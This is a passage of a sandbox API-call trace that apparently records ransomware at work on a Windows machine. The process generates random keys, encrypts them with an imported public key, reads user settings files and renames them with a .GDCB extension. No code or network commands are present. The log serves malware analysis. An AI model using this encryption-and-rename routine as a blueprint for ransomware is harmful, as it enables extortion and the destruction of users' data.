data\\application data\\application data\\application data\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 0 [0226.189] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0226.191] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.192] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.192] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0226.192] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.192] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0226.194] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.195] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.195] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0226.195] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.195] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0226.197] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6487e80) returned 1 [0226.197] CryptGetKeyParam (in: hKey=0x6487e80, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0226.198] CryptEncrypt (in: hKey=0x6487e80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x7ac0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0226.198] GetLastError () returned 0x0 [0226.198] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.198] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0226.200] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6487b40) returned 1 [0226.200] CryptGetKeyParam (in: hKey=0x6487b40, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0226.200] CryptEncrypt (in: hKey=0x6487b40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x7ad0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0226.200] GetLastError () returned 0x0 [0226.200] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.200] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0226.201] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7ae0000 [0226.203] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7af0000 [0226.205] ReadFile (in: hFile=0x50c, lpBuffer=0x7af0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x7af0000*, lpNumberOfBytesRead=0x285d8f8*=0x2000, lpOverlapped=0x0) returned 1 [0226.229] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7c00000 [0226.234] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0226.328] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0226.330] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.331] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.331] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0226.331] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.331] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0226.333] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.334] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.334] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0226.334] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.334] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0226.336] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6487b80) returned 1 [0226.336] CryptGetKeyParam (in: hKey=0x6487b80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0226.336] CryptEncrypt (in: hKey=0x6487b80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ac0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ac0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0226.336] GetLastError () returned 0x0 [0226.336] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.336] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0226.338] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6487c40) returned 1 [0226.338] CryptGetKeyParam (in: hKey=0x6487c40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0226.338] CryptEncrypt (in: hKey=0x6487c40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ad0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7ad0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0226.339] GetLastError () returned 0x0 [0226.339] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0226.339] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_show.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0226.339] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0226.341] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.342] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.342] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0226.342] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.342] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0226.344] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.345] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.345] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0226.345] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.346] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0226.348] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6487940) returned 1 [0226.348] CryptGetKeyParam (in: hKey=0x6487940, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0226.348] CryptEncrypt (in: hKey=0x6487940, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7ae0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7ae0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0226.348] GetLastError () returned 0x0 [0226.348] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.348] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0226.350] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6487bc0) returned 1 [0226.350] CryptGetKeyParam (in: hKey=0x6487bc0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0226.350] CryptEncrypt (in: hKey=0x6487bc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7af0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7af0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0226.350] GetLastError () returned 0x0 [0226.350] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.350] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_withdraw.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\1e6d17e6-5b84-4acc-aaa5-b8802c667d4a_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0226.351] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0226.352] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.354] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.354] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0226.354] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.354] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0226.355] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.357] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.357] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0226.357] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.357] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0226.360] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6487d00) returned 1 [0226.360] CryptGetKeyParam (in: hKey=0x6487d00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0226.360] CryptEncrypt (in: hKey=0x6487d00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7b00000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7b00000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0226.360] GetLastError () returned 0x0 [0226.360] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.360] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0226.362] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6487dc0) returned 1 [0226.362] CryptGetKeyParam (in: hKey=0x6487dc0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0226.362] CryptEncrypt (in: hKey=0x6487dc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7b10000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7b10000*, pdwDataLen=0x285d630*=0x100) returned 1 [0226.362] GetLastError () returned 0x0 [0226.362] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.362] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_show.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0226.362] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0226.364] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.366] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.366] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0226.366] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.366] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0226.367] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.368] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.368] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0226.368] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.368] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0226.371] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6487c00) returned 1 [0226.371] CryptGetKeyParam (in: hKey=0x6487c00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0226.371] CryptEncrypt (in: hKey=0x6487c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7b20000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7b20000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0226.371] GetLastError () returned 0x0 [0226.371] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.371] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0226.373] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6487980) returned 1 [0226.373] CryptGetKeyParam (in: hKey=0x6487980, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0226.373] CryptEncrypt (in: hKey=0x6487980, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7b30000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7b30000*, pdwDataLen=0x285d630*=0x100) returned 1 [0226.373] GetLastError () returned 0x0 [0226.373] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.373] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_withdraw.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\7a0c8c7f-1fe2-4e97-ac34-3223b26f0318_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0226.373] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0226.375] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.377] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.377] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0226.377] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.377] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0226.379] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.380] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.380] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0226.380] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.380] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0226.382] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6487a40) returned 1 [0226.382] CryptGetKeyParam (in: hKey=0x6487a40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0226.382] CryptEncrypt (in: hKey=0x6487a40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7b40000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7b40000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0226.382] GetLastError () returned 0x0 [0226.382] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0226.382] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0226.384] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6487d40) returned 1 [0226.384] CryptGetKeyParam (in: hKey=0x6487d40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0226.384] CryptEncrypt (in: hKey=0x6487d40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7b50000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7b50000*, pdwDataLen=0x285d630*=0x100) returned 1 [0226.384] GetLastError () returned 0x0 [0226.385] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.385] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_show.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e25db1fd-8c25-47cf-8c91-668b6d7de9f2_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0226.385] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0226.387] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.388] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.389] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0226.389] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.390] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0226.391] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0226.393] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0226.393] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0226.393] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0226.393] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0226.395] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6487e00) returned 1 [0226.395] CryptGetKeyParam (in: hKey=0x6487e00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0226.395] CryptEncrypt (in: hKey=0x6487e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7b60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: 